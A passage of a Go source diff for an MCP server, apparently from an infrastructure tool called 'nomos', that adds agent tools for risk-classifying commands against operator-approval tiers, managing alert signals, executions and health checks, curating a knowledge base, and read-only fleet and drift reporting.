command, _ := args["command"].(string)
|
||||||
|
declaredRisk, _ := args["declared_risk"].(string)
|
||||||
|
if command == "" {
|
||||||
|
return textResult("error: command is required"), nil
|
||||||
|
}
|
||||||
|
risk := policy.ClassifyCommand(command, declaredRisk)
|
||||||
|
note := ""
|
||||||
|
switch risk {
|
||||||
|
case policy.RiskReadOnly:
|
||||||
|
note = "auto-acts on `run` (no approval needed)."
|
||||||
|
case policy.RiskReversibleLow:
|
||||||
|
note = "auto-acts on `run` (no approval needed)."
|
||||||
|
case policy.RiskConfigMutation:
|
||||||
|
note = "requires operator approval on `run` (or loose assent window active)."
|
||||||
|
case policy.RiskDestructive:
|
||||||
|
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
|
||||||
|
}
|
||||||
|
out, _ := json.Marshal(map[string]any{
|
||||||
|
"command": command,
|
||||||
|
"declared_risk": declaredRisk,
|
||||||
|
"risk_class": risk,
|
||||||
|
"note": note,
|
||||||
|
})
|
||||||
|
return textResult(string(out)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
|
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
|
||||||
InputSchema: objSchema(
|
InputSchema: objSchema(
|
||||||
prop{"entity_slug", "string", "Entity slug"},
|
prop{"entity_slug", "string", "Entity slug"},
|
||||||
@@ -715,7 +975,7 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
SELECT al.ts AS timestamp, al.actor_type, al.actor_id::text AS actor_label,
|
SELECT al.ts AS timestamp, al.actor_type, al.actor_id::text AS actor_label,
|
||||||
al.action, al.method, al.path,
|
al.action, al.method, al.path,
|
||||||
al.detail::text AS details
|
al.detail::text AS details, al.session_id::text AS session_id
|
||||||
FROM audit_log al
|
FROM audit_log al
|
||||||
JOIN entities e ON e.id = al.entity_id
|
JOIN entities e ON e.id = al.entity_id
|
||||||
WHERE e.slug = $1
|
WHERE e.slug = $1
|
||||||
@@ -739,6 +999,21 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
`), "fleet_snapshot"), nil
|
`), "fleet_snapshot"), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "audit_knowledge_graph", Description: "Read-only drift report over the knowledge graph and monitoring: orphan check entities, checks targeting deprecated/destroyed entities, probes stuck down/unknown, unmonitored declared entity types, and live edges pointing at destroyed targets. Returns ranked findings with a suggested remediation runbook each. Use this to validate the graph is complete and consistent before trusting health/blast-radius answers. Does NOT mutate anything.",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
findings, summary := audit.Report(ctx, pool)
|
||||||
|
b, _ := json.Marshal(map[string]any{"findings": findings, "summary": summary})
|
||||||
|
return textResult(string(b)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "discover_infra_drift", Description: "Read-only live discovery: compares running Proxmox guests (pct/qm list on every proxmox host) against the DB graph. Returns guests running with no entity (missing) and entities whose pve_id is no longer live (ghost) — drift the DB-only audit_knowledge_graph cannot see. Reaches hosts over the same SSH/pct path the checks use. Does NOT mutate anything.",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
b, _ := json.Marshal(discoverInfraDrift(ctx, pool))
|
||||||
|
return textResult(string(b)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "list_my_secrets", Description: "List secrets accessible to this client by public key",
|
{tool: &mcp.Tool{Name: "list_my_secrets", Description: "List secrets accessible to this client by public key",
|
||||||
InputSchema: objSchema(prop{"caller_pubkey", "string", "Age public key of the caller (optional)"}),
|
InputSchema: objSchema(prop{"caller_pubkey", "string", "Age public key of the caller (optional)"}),
|
||||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
@@ -758,5 +1033,611 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
query += ` ORDER BY e.slug LIMIT 100`
|
query += ` ORDER BY e.slug LIMIT 100`
|
||||||
return queryRows(ctx, pool, query, dbArgs...), nil
|
return queryRows(ctx, pool, query, dbArgs...), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
|
// ── Stage 2: External agent observe ──────────────────────────
|
||||||
|
|
||||||
|
// ── Stage 4: External agent act (mutations) ─────────────────────
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "ack_signal", Description: "Acknowledge an open signal. Use when investigating an alert — marks it as seen and being worked on.",
|
||||||
|
InputSchema: objSchema(prop{"signal_id", "string", "Signal entity UUID"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
sid, _ := args["signal_id"].(string)
|
||||||
|
id, err := uuid.Parse(sid)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("invalid signal_id: %v", err)), nil
|
||||||
|
}
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE signals SET state = 'acknowledged', updated_at = now()
|
||||||
|
WHERE entity_id = $1 AND state IN ('raised','failed')`, id)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("signal %s not found or not in a state that can be acknowledged", sid)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Signal %s acknowledged.", sid)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "resolve_signal", Description: "Resolve a signal with an optional resolution note. Use when the underlying issue is fixed — marks the signal as resolved so it stops showing as active.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"signal_id", "string", "Signal entity UUID"},
|
||||||
|
prop{"resolution", "string", "Optional note describing what fixed it"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
sid, _ := args["signal_id"].(string)
|
||||||
|
id, err := uuid.Parse(sid)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("invalid signal_id: %v", err)), nil
|
||||||
|
}
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE signals SET state = 'resolved', updated_at = now()
|
||||||
|
WHERE entity_id = $1 AND state IN ('raised','acknowledged','acting','failed')`, id)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("signal %s not found or not in a state that can be resolved", sid)), nil
|
||||||
|
}
|
||||||
|
resolution, _ := args["resolution"].(string)
|
||||||
|
if resolution != "" {
|
||||||
|
return textResult(fmt.Sprintf("Signal %s resolved: %s", sid, resolution)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Signal %s resolved.", sid)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "mute_signal", Description: "Temporarily mute a signal. Suppresses it from active views for the given duration. Use for known, non-urgent issues that don't need immediate attention.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"signal_id", "string", "Signal entity UUID"},
|
||||||
|
prop{"duration_s", "integer", "Mute duration in seconds (default 3600 = 1 hour)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
sid, _ := args["signal_id"].(string)
|
||||||
|
id, err := uuid.Parse(sid)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("invalid signal_id: %v", err)), nil
|
||||||
|
}
|
||||||
|
dur := int64(getFloat(args, "duration_s", 3600))
|
||||||
|
muteUntil := time.Now().UTC().Add(time.Duration(dur) * time.Second)
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE signals SET state = 'muted', mute_until = $2, updated_at = now()
|
||||||
|
WHERE entity_id = $1 AND state IN ('raised','acknowledged')`, id, muteUntil)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("signal %s not found or not in a state that can be muted", sid)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Signal %s muted until %s.", sid, muteUntil.Format(time.RFC3339))), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "cancel_execution", Description: "Cancel a queued or running execution. Use when you realize the command was wrong, targets the wrong host, or should not proceed. Requires a reason.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"execution_id", "string", "Execution entity UUID"},
|
||||||
|
prop{"reason", "string", "Why this execution should be cancelled"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
eid, _ := args["execution_id"].(string)
|
||||||
|
id, err := uuid.Parse(eid)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("invalid execution_id: %v", err)), nil
|
||||||
|
}
|
||||||
|
reason, _ := args["reason"].(string)
|
||||||
|
result := jsonErr("cancelled by agent: %s", reason)
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE executions SET status = 'cancelled', result = $2::jsonb
|
||||||
|
WHERE entity_id = $1 AND status IN ('running','pending_approval','approved','queued')`,
|
||||||
|
id, result)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("execution %s not found or already final", eid)), nil
|
||||||
|
}
|
||||||
|
// Write audit entry.
|
||||||
|
_ = observability.Audit(ctx, sqlcgen.New(pool), "agent", "nomos", "cancel",
|
||||||
|
&id, "POST", "/mcp", "", nil,
|
||||||
|
map[string]any{"reason": reason})
|
||||||
|
return textResult(fmt.Sprintf("Execution %s cancelled: %s", eid, reason)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "update_check", Description: "Enable or disable a health check. Disable a noisy probe that's firing false positives; re-enable after fixing the underlying issue.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"check_id", "string", "Check entity UUID"},
|
||||||
|
prop{"enabled", "boolean", "true to enable, false to disable"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
cid, _ := args["check_id"].(string)
|
||||||
|
id, err := uuid.Parse(cid)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("invalid check_id: %v", err)), nil
|
||||||
|
}
|
||||||
|
enabled, _ := args["enabled"].(bool)
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE check_defs SET enabled = $2 WHERE entity_id = $1`, id, enabled)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("check %s not found", cid)), nil
|
||||||
|
}
|
||||||
|
status := "enabled"
|
||||||
|
if !enabled {
|
||||||
|
status = "disabled"
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Check %s %s.", cid, status)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "delete_knowledge", Description: "Soft-delete a knowledge entry (move to trash, restorable with restore_knowledge). The content and revision history survive.",
|
||||||
|
InputSchema: objSchema(prop{"knowledge_slug", "string", "Knowledge entity slug or UUID"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["knowledge_slug"].(string)
|
||||||
|
var entityID uuid.UUID
|
||||||
|
if u, err := uuid.Parse(slug); err == nil {
|
||||||
|
entityID = u
|
||||||
|
} else {
|
||||||
|
pool.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&entityID)
|
||||||
|
}
|
||||||
|
if entityID == uuid.Nil {
|
||||||
|
return textResult(fmt.Sprintf("knowledge entry not found: %s", slug)), nil
|
||||||
|
}
|
||||||
|
// Snapshot before tombstoning.
|
||||||
|
pool.Exec(ctx, `
|
||||||
|
INSERT INTO knowledge_revisions (entity_id, title, content, source, tags, edited_by, version_at)
|
||||||
|
SELECT entity_id, title, content, source, tags, COALESCE(edited_by,''), updated_at
|
||||||
|
FROM knowledge_entities WHERE entity_id = $1`, entityID)
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE knowledge_entities SET deleted_at = now(), edited_by = 'nomos'
|
||||||
|
WHERE entity_id = $1 AND deleted_at IS NULL`, entityID)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult("knowledge entry already deleted"), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Knowledge %s soft-deleted. Restore with restore_knowledge.", slug)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "restore_knowledge", Description: "Restore a soft-deleted knowledge entry from trash. Undoes delete_knowledge.",
|
||||||
|
InputSchema: objSchema(prop{"knowledge_slug", "string", "Knowledge entity slug or UUID"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["knowledge_slug"].(string)
|
||||||
|
var entityID uuid.UUID
|
||||||
|
if u, err := uuid.Parse(slug); err == nil {
|
||||||
|
entityID = u
|
||||||
|
} else {
|
||||||
|
pool.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&entityID)
|
||||||
|
}
|
||||||
|
if entityID == uuid.Nil {
|
||||||
|
return textResult(fmt.Sprintf("knowledge entry not found: %s", slug)), nil
|
||||||
|
}
|
||||||
|
tag, err := pool.Exec(ctx,
|
||||||
|
`UPDATE knowledge_entities SET deleted_at = NULL, edited_by = 'nomos'
|
||||||
|
WHERE entity_id = $1 AND deleted_at IS NOT NULL`, entityID)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
if tag.RowsAffected() == 0 {
|
||||||
|
return textResult("knowledge entry is not deleted"), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Knowledge %s restored from trash.", slug)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "merge_knowledge", Description: "Fold one or more knowledge entries into a target. Source content is appended under a provenance heading, and the union of all tags is kept. Sources are soft-deleted afterwards.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"target_slug", "string", "Knowledge entry to merge INTO (slug or UUID)"},
|
||||||
|
prop{"source_slugs", "string", "Comma-separated slugs of entries to fold into the target"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
targetSlug, _ := args["target_slug"].(string)
|
||||||
|
sourceStr, _ := args["source_slugs"].(string)
|
||||||
|
|
||||||
|
var targetID uuid.UUID
|
||||||
|
if u, err := uuid.Parse(targetSlug); err == nil {
|
||||||
|
targetID = u
|
||||||
|
} else {
|
||||||
|
pool.QueryRow(ctx, `
|
||||||
|
SELECT ke.entity_id FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||||
|
targetSlug).Scan(&targetID)
|
||||||
|
}
|
||||||
|
if targetID == uuid.Nil {
|
||||||
|
return textResult(fmt.Sprintf("target knowledge entry not found: %s", targetSlug)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
sources := []string{}
|
||||||
|
for _, s := range strings.Split(sourceStr, ",") {
|
||||||
|
if s = strings.TrimSpace(s); s != "" && s != targetSlug {
|
||||||
|
sources = append(sources, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(sources) == 0 {
|
||||||
|
return textResult("no valid source entries to merge"), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var appended strings.Builder
|
||||||
|
merged := []string{}
|
||||||
|
for _, srcSlug := range sources {
|
||||||
|
var title, content, updated string
|
||||||
|
var tags []string
|
||||||
|
err := pool.QueryRow(ctx, `
|
||||||
|
SELECT ke.title, ke.content, COALESCE(ke.tags,'{}'), ke.updated_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||||
|
srcSlug).Scan(&title, &content, &tags, &updated)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
appended.WriteString("\n\n---\n\n## Merged: ")
|
||||||
|
appended.WriteString(title)
|
||||||
|
appended.WriteString("\n\n*Originally ")
|
||||||
|
appended.WriteString(srcSlug)
|
||||||
|
appended.WriteString(", last updated ")
|
||||||
|
appended.WriteString(updated)
|
||||||
|
appended.WriteString("*\n\n")
|
||||||
|
appended.WriteString(content)
|
||||||
|
for _, t := range tags {
|
||||||
|
fmt.Fprintf(&appended, "\ntag: %s", strings.ToLower(strings.TrimSpace(t)))
|
||||||
|
}
|
||||||
|
merged = append(merged, srcSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(merged) == 0 {
|
||||||
|
return textResult("no source entries could be read"), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err := pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities SET content = content || $2, edited_by = 'nomos', updated_at = now()
|
||||||
|
WHERE entity_id = $1`, targetID, appended.String())
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error appending content: %v", err)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, srcSlug := range merged {
|
||||||
|
pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities ke SET deleted_at = now(), edited_by = 'nomos'
|
||||||
|
FROM entities e
|
||||||
|
WHERE e.id = ke.entity_id AND (e.slug = $1 OR e.id::text = $1)`,
|
||||||
|
srcSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
return textResult(fmt.Sprintf("Merged %d entries into %s: %s", len(merged), targetSlug, strings.Join(merged, ", "))), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "rename_knowledge_tag", Description: "Bulk-rename one or more tags across all knowledge entries. Case-insensitive matching — 'oom' and 'OOM' are treated as the same tag. Deduplicates after rename.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"from", "string", "Comma-separated tag names to rename FROM"},
|
||||||
|
prop{"to", "string", "New tag name"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
fromStr, _ := args["from"].(string)
|
||||||
|
to, _ := args["to"].(string)
|
||||||
|
to = strings.ToLower(strings.TrimSpace(to))
|
||||||
|
|
||||||
|
from := []string{}
|
||||||
|
for _, f := range strings.Split(fromStr, ",") {
|
||||||
|
if f = strings.TrimSpace(f); f != "" {
|
||||||
|
from = append(from, strings.ToLower(f))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if to == "" || len(from) == 0 {
|
||||||
|
return textResult("from and to are required"), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
tag, err := pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities ke
|
||||||
|
SET tags = sub.new_tags, updated_at = now()
|
||||||
|
FROM (
|
||||||
|
SELECT k.entity_id,
|
||||||
|
ARRAY(SELECT DISTINCT CASE WHEN lower(t) = ANY($1) THEN $2 ELSE t END
|
||||||
|
FROM unnest(k.tags) AS t) AS new_tags
|
||||||
|
FROM knowledge_entities k
|
||||||
|
WHERE k.deleted_at IS NULL
|
||||||
|
AND EXISTS (SELECT 1 FROM unnest(k.tags) AS t WHERE lower(t) = ANY($1))
|
||||||
|
) AS sub
|
||||||
|
WHERE ke.entity_id = sub.entity_id`, from, to)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Tag %s → %s: %d entries updated.", strings.Join(from, ", "), to, tag.RowsAffected())), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
// ── Stage 2: External agent observe ──────────────────────────
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_dashboard_summary", Description: "Fleet overview in one call: entity counts by type and state, health breakdown (healthy/degraded/down/stale/unknown), active signals by severity, pending approval count, execution counts in last 24h, and event rate over last 6h.",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
result := map[string]any{}
|
||||||
|
|
||||||
|
// Entity counts by type
|
||||||
|
result["entities_by_type"] = rowsToMap(ctx, pool,
|
||||||
|
`SELECT type, count(*) FROM entities GROUP BY type`)
|
||||||
|
|
||||||
|
// Entity counts by state
|
||||||
|
result["entities_by_state"] = rowsToMap(ctx, pool,
|
||||||
|
`SELECT coalesce(state, 'unknown'), count(*) FROM entities GROUP BY state`)
|
||||||
|
|
||||||
|
// Health rollup (excluding check entities)
|
||||||
|
result["health"] = rowsToMap(ctx, pool, `
|
||||||
|
SELECT COALESCE(st.health, 'unknown') AS health, count(*)
|
||||||
|
FROM entity_status st JOIN entities e ON e.id = st.entity_id
|
||||||
|
WHERE e.type <> 'check' GROUP BY st.health`)
|
||||||
|
|
||||||
|
// Active signals by severity
|
||||||
|
result["signals_by_severity"] = rowsToMap(ctx, pool, `
|
||||||
|
SELECT severity, count(*) FROM signals
|
||||||
|
WHERE state NOT IN ('resolved', 'failed') GROUP BY severity`)
|
||||||
|
|
||||||
|
// Pending approvals
|
||||||
|
var pending int
|
||||||
|
pool.QueryRow(ctx, `SELECT count(*) FROM approvals WHERE status = 'pending'`).Scan(&pending)
|
||||||
|
result["approvals_pending"] = pending
|
||||||
|
|
||||||
|
// Executions in last 24h
|
||||||
|
result["executions_by_state"] = rowsToMap(ctx, pool, `
|
||||||
|
SELECT status, count(*) FROM executions
|
||||||
|
WHERE created_at > now() - interval '24 hours' GROUP BY status`)
|
||||||
|
|
||||||
|
// Event rate (5-min buckets over 6h)
|
||||||
|
events := []map[string]any{}
|
||||||
|
erows, _ := pool.Query(ctx, `
|
||||||
|
SELECT date_trunc('hour', ts) + (extract(minute FROM ts)::int / 5) * interval '5 minutes' AS bucket, count(*)
|
||||||
|
FROM events WHERE ts > now() - interval '6 hours'
|
||||||
|
GROUP BY bucket ORDER BY bucket`)
|
||||||
|
if erows != nil {
|
||||||
|
for erows.Next() {
|
||||||
|
var bucket time.Time
|
||||||
|
var n int
|
||||||
|
if erows.Scan(&bucket, &n) == nil {
|
||||||
|
events = append(events, map[string]any{"bucket": bucket, "count": n})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
erows.Close()
|
||||||
|
}
|
||||||
|
result["event_rate"] = events
|
||||||
|
|
||||||
|
b, _ := json.MarshalIndent(result, "", " ")
|
||||||
|
return textResult(string(b)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_ontology", Description: "Entity types, relationship types, and lifecycle definitions. Use this to understand the schema — what entity types exist, what relationships connect them, and what lifecycle states each type supports.",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
etResult := queryRowsJSONSingle(ctx, pool, `
|
||||||
|
SELECT name, parent_type, is_abstract, domain, layer,
|
||||||
|
description, lifecycle_id, schema_version, status
|
||||||
|
FROM entity_types ORDER BY name`)
|
||||||
|
|
||||||
|
rtResult := queryRowsJSONSingle(ctx, pool, `
|
||||||
|
SELECT name, inverse, source_type, target_type,
|
||||||
|
cardinality, description
|
||||||
|
FROM relationship_types ORDER BY name`)
|
||||||
|
|
||||||
|
lcResult := queryRowsJSONSingle(ctx, pool, `
|
||||||
|
SELECT id, name, states, transitions::text
|
||||||
|
FROM lifecycles ORDER BY name`)
|
||||||
|
|
||||||
|
result := map[string]any{
|
||||||
|
"entity_types": etResult,
|
||||||
|
"relationship_types": rtResult,
|
||||||
|
"lifecycles": lcResult,
|
||||||
|
}
|
||||||
|
b, _ := json.MarshalIndent(result, "", " ")
|
||||||
|
return textResult(string(b)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_checks", Description: "List health checks with verdict, last run time, probe kind, and config. Filter by entity slug or enabled status. Each check's last_health explains which probe is responsible for an entity's overall health.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_slug", "string", "Filter by target entity slug"},
|
||||||
|
prop{"enabled", "boolean", "Filter enabled/disabled (optional)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
return annotateJSONResult(queryRows(ctx, pool, `
|
||||||
|
SELECT cd.entity_id, e.slug, cd.kind,
|
||||||
|
COALESCE(te.slug, '') AS target_slug, cd.target_type,
|
||||||
|
cd.config::text, cd.interval_s, cd.timeout_s, cd.enabled,
|
||||||
|
e.version, cd.last_health, cd.last_run_at::text
|
||||||
|
FROM check_defs cd
|
||||||
|
JOIN entities e ON e.id = cd.entity_id
|
||||||
|
LEFT JOIN entities te ON te.id = cd.target_id
|
||||||
|
WHERE ($1::text IS NULL OR te.slug = $1)
|
||||||
|
AND ($2::bool IS NULL OR cd.enabled = $2)
|
||||||
|
ORDER BY e.slug LIMIT 200`,
|
||||||
|
nStr(args["entity_slug"]), args["enabled"]), "check_table"), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_executions", Description: "Cursor-paginated execution history. Filter by entity slug, status, or risk class. Returns newest-first with duration, result, and target info.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_slug", "string", "Filter by target entity slug"},
|
||||||
|
prop{"status", "string", "Filter by status (running/completed/failed/pending_approval)"},
|
||||||
|
prop{"limit", "integer", "Max rows (default 25)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
limit := int(getFloat(args, "limit", 25))
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT e.entity_id, te.slug AS target, e.action, e.risk_class,
|
||||||
|
e.status, e.result::text, e.duration_ms,
|
||||||
|
e.correlation_id, e.started_at::text, e.completed_at::text, e.created_at::text,
|
||||||
|
COALESCE(npe.session_id::text, '') AS session_id
|
||||||
|
FROM executions e
|
||||||
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
|
LEFT JOIN nomos_plan_executions npe ON npe.execution_id = e.entity_id
|
||||||
|
WHERE ($1::text IS NULL OR te.slug = $1)
|
||||||
|
AND ($2::text IS NULL OR e.status = $2)
|
||||||
|
ORDER BY e.created_at DESC LIMIT $3`,
|
||||||
|
nStr(args["entity_slug"]), nStr(args["status"]), limit), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_knowledge_revisions", Description: "Version history for a knowledge entry. Returns title, content, editor, tags, and timestamps for each revision.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"knowledge_slug", "string", "Knowledge entity slug (e.g. document:nomos/something)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["knowledge_slug"].(string)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT kr.id, kr.title, kr.content, COALESCE(kr.edited_by, '') AS edited_by,
|
||||||
|
COALESCE(kr.tags::text, '{}') AS tags,
|
||||||
|
kr.version_at::text, kr.revised_at::text
|
||||||
|
FROM knowledge_revisions kr
|
||||||
|
JOIN entities e ON e.id = kr.entity_id
|
||||||
|
WHERE e.slug = $1
|
||||||
|
ORDER BY kr.version_at DESC LIMIT 50`, slug), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_knowledge_duplicates", Description: "Near-duplicate knowledge entries detected via trigram similarity. Returns clusters of similar documents with similarity scores. Use before creating new knowledge to avoid pileup.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"threshold", "number", "Similarity threshold 0-1 (default 0.6, lower = more matches)"}),
|
